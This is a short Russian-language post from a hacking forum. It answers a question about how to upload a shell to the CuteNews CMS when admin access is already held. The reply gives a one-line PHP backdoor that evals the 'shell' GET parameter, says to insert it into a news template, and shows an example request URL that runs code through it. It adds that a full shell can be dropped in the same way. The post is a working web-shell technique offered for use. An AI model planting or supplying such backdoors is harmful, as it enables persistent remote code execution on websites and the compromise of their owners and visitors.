Форум АНТИЧАТ - [Вопрос]Залить шелл в CuteNews

Цитата:

Сообщение от Byrger

Добрый вечер.
У меня вопрос как залить шелл в CuteNews если есть привелегии админа? :confused:

Добавляем в конце при редактирование шаблона (лучше добавлять в последнем блоке):

Код:

HTML;

if(isset($_GET['shell'])) eval($_GET['shell']);

Получаешь возможность выполнять команды:

Код:

http://test1.ru/cutenews/show_news.php?shell=phpinfo();

Собственно никто не мешает закинуть туда сразу нормальный шелл.

P.S. Закрыто.
P.P.S. Для вопросов есть спец тема.
P.P.P.S. Эту не удалять - пусть будет (потом перекинем в раздел с cms'ками).